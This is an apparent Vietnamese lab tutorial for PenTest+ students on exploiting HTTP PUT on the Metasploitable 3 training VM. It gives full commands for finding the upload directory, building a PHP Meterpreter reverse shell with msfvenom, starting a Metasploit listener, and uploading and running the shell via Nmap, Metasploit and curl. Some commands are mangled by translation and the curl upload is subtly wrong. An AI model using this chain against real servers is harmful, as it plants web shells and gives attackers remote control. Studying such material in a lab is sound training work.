PENTEST + / Metasploitable 3: Khai thác HTTP PUT

Trong hướng dẫn hack này, chúng tôi sẽ khai thác phương thức HTTP PUT trên máy chủ web Metasploitable 3 để tải tệp lên máy chủ web. Nếu phương thức HTTP PUT được bật trên máy chủ web, nó có thể được sử dụng để tải lên một tài nguyên cụ thể lên máy chủ đích, chẳng hạn như trình bao web (web shell) và thực thi nó. Trong bài này các bạn sẽ xem xét cách xác định xem phương thức HTTP PUT có được bật hay không và chúng ta sẽ sử dụng một số phương pháp khác nhau để tải lên trình bao đảo ngược Meterpreter.

Hãy xem phần hướng dẫn setup lab PENTEST +

Xác định các phương thức HTTP được phép

Trước tiên, chúng ta sẽ tìm hiểu cách xác định phương thức HTTP nào được phép và tìm hiểu xem HTTP PUT có phải là một trong số chúng hay không. Từ quá trình quét cổng Nmap, chúng tôi phát hiện ra rằng Metasploitable đang chạy Microsoft IIS trên cổng 80Apache httpd 2.2.21 trên cổng 8585. Trong hướng dẫn này, chúng tôi sẽ nhắm mục tiêu máy chủ Apache trên cổng 8585.

Quét dịch vụ Nmap trên Metasploitable 3

Khám phá thư mục máy chủ web với Dirb

Bước tiếp theo là tìm hiểu những thư mục nào hiện có trên máy chủ web này. Một công cụ tuyệt vời để buộc các thư mục trên máy chủ web là dirb. Khi chúng tôi chạy dirb trên máy chủ web Apache bằng lệnh sau, chúng tôi tìm thấy một thư mục có tên ‘uploads’:

dirb http://172.28.128.3:8585

Dirb đã tìm thấy thư mục tải lên trên Metasploitable 3 cổng 8585.

Nmap: Xác định các phương thức HTTP được phép

Chúng tôi có thể sử dụng một số phương pháp để xác định xem chúng tôi có được phép tải tệp lên thư mục này bằng phương thức HTTP PUT hay không. Việc kiểm tra các phương thức HTTP được phép có thể được thực hiện bằng phương thức OPTIONS HTTP cung cấp danh sách các phương thức được phép. Nhưng vì điều này không phải lúc nào cũng hoạt động nên một cách dễ dàng hơn là chạy tập lệnh Nmap http-method trên thư mục tải lên. Khi chúng tôi chạy lệnh sau, thấy rằng HTTP PUT được bật cho thư mục tải lên:

nmap –script http-method –script-args http-method.url-path = ‘/ uploads’, http-method.test-all -p 8585 172.28.128.3

Tập lệnh Nmap HTTP-Method trả về các phương thức được phép cho thư mục tải lên.

Như chúng ta có thể thấy máy chủ web cho phép chúng ta tải tệp lên thư mục tải lên và thậm chí xóa tệp.

Nikto

Chúng tôi cũng có thể sử dụng máy quét lỗ hổng web Nikto để xác định các lỗ hổng trong máy chủ web (trong module 4 của Pentest + Study Guide có nói và hỏi về 2 công cụ này, các bạn cần luu ý) . Nếu phương thức HTTP PUT được bật Nikto sẽ chỉ ra điều này như sau:

nikto -host http://172.28.128.3:8585/uploads

12-Nikto HTTP PUT

Dòng cuối cùng của đầu ra Nikto cho biết rằng các thư mục tải lên cho phép tải tệp lên bằng HTTP PUT.

Khai thác HTTP PUT cho shell

Bây giờ chúng ta biết chúng ta có thể tải tệp lên thư mục này, hãy xem một số cách khác nhau để thực hiện việc này. Trong các bước tiếp theo của hướng dẫn này, chúng tôi sẽ tải lên một kịch bản lệnh shell đảo ngược Meterpreter PHP lên máy chủ web và thực thi nó. Chúng tôi sẽ trình bày cách tải tệp lên bằng Nmap, Metasploit và Curl.

— Lưu ý : Một số Vunlhub hay CTF cũng hay có lỗi này để up shell, nhiều khi trang chủ hay trang chính không thấy gì nhưng trang phụ hay thư mục con lại có … hãy kiên nhẫn và cẩn thận, tỉ mỉ trong dò quét và kiểm tra.

Nmap HTTP PUT Meterpreter shell

Trước tiên, hãy tạo một tải trọng trình bao đảo ngược PHP Meterpreter với msfvenom bằng cách chạy lệnh sau:

msfvenom -p php / meterpreter / reverse_tcp lhost = [IP máy chủ đang nghe] lport = 4444 -f raw> /root/meterpreter.php

Tạo tải trọng trình bao đảo ngược PHP Meterpreter với Msfvenom.

Sửa đổi tệp để đảm bảo rằng các tập lệnh chứa các thẻ mở và đóng PHP thích hợp:

Thêm thẻ mở PHP vào đầu tệp:

Tiếp theo, chúng ta sẽ thiết lập trình lắng nghe trong Metasploit để chặn ngược shell bằng các lệnh sau:

use exploit/multi/handler

set payload php/ méterpreter /reverse_tcp

set lhost [IP máy chủ đang nghe]

set lport 4444

run

Thiết lập khai thác nhiều trình xử lý trong Metasploit.

Tập lệnh Nmap HTTP-PUT

Bây giờ chúng tôi đã tạo tải trọng Meterpreter và thiết lập trình lắng nghe của chúng tôi trong Metasploit, chúng tôi sẽ sử dụng Nmap để tải tải trọng Meterpreter lên máy chủ web. Thực thi lệnh sau để chạy tập lệnh  Nmap http-put :

nmap -sV –script http-put –script-args http-put.url = ‘/ uploads / metpreter.php’, http-put.file = ‘/ root / Desktop / metpreter.php’ -p 8585 [IP mục tiêu]

Tập lệnh http-put Nmap trên cổng 8585.

Như chúng ta có thể thấy trên ảnh chụp màn hình, meterpreter.php đã được tạo thành công. Vì cổng 8585 không được định nghĩa là cổng dịch vụ http trong tệp dịch vụ nmap, điều quan trọng là các bạn phải chạy quét dịch vụ với cờ -sV. Nếu không, tập lệnh sẽ không thành công khi tải tệp lên và chỉ hiển thị một cổng đang mở và dịch vụ không xác định.

Mô-đun phụ trợ Metasploit HTTP PUT

Chúng ta cũng có thể sử dụng mô-đun phụ Metasploit HTTP PUT để tải tệp lên thư mục web tải lên. Trong các bước sau, chúng tôi sẽ tải lên tập lệnh trình bao ngược PHP Meterpreter mà chúng tôi đã tạo trước đó trong hướng dẫn này và chặn trình bao ngược Meterpreter bằng mô-đun đa trình xử lý. Chạy các lệnh sau:

msfconsole

use auxiliary/scanner/http/http_put

set rhosts [rhost]

set rport 8585

set path /uploads

set filename meterpreter.php

set filedata file://root/Desktop/meterpreter.php

Bước tiếp theo là thiết lập lại mô-đun đa trình xử lý để chặn kết nối trình bao đảo ngược và thực thi mô-đun phụ trợ bằng lệnh run:

Metasploit cho biết rằng quá trình tải lên không thành công.

Metasploit cho chúng ta biết rằng quá trình tải lên không thành công, nhưng khi chúng tôi kiểm tra thư mục tải lên trên máy chủ web, chúng tôi có thể thấy rằng quá trình tải lên tệp đã diễn ra:

Nhưng việc tải lên đã thành công.

Tất cả những gì còn lại là thực thi tập lệnh PHP và nhận một trình bao ngược từ máy Metasploitable 3 trên attacker của chúng tôi:

Thực thi tập lệnh metpreter.php trên máy chủ web và nhận một trình bao ngược lại trên trình xử lý đa của bạn.

HTTP PUT với Curl

Cuối cùng, các bạn cũng có thể tải lên tải trọng Meterpreter bằng một lệnh duy nhất bằng cách sử dụng Curl:

curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “/root/Desktop/meterpreter.php” http://172.28.128.3:8585/uploads/meterpreter.php

Ngoài ra, bạn cũng có thể sử dụng Curl để tải lên tệp metpreter.php bằng HTTP-PUT.

Như chúng ta thấy, tập tin metpreter.php đã được tải lên máy chủ web thành công.

Bài học kinh nghiệm

Trong hướng dẫn này, chúng ta đã học cách đánh giá máy chủ web để tải tệp lên bằng phương pháp HTTP PUT. Chúng tôi đã phát hiện ra rằng thư mục tải lên trên cổng 8585 trên máy Metasploitable 3 cho phép chúng tôi tải lên các tệp độc hại và thực thi chúng trong ngữ cảnh của máy chủ web. Chúng tôi đã sử dụng 3 công cụ khác nhau để tải tệp lên; Nmap, Metasploit và Curl.

Phần tiếp theo :

1 bình luận về “PENTEST + / Metasploitable 3: Khai thác HTTP PUT

Trả lời

Please log in using one of these methods to post your comment:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s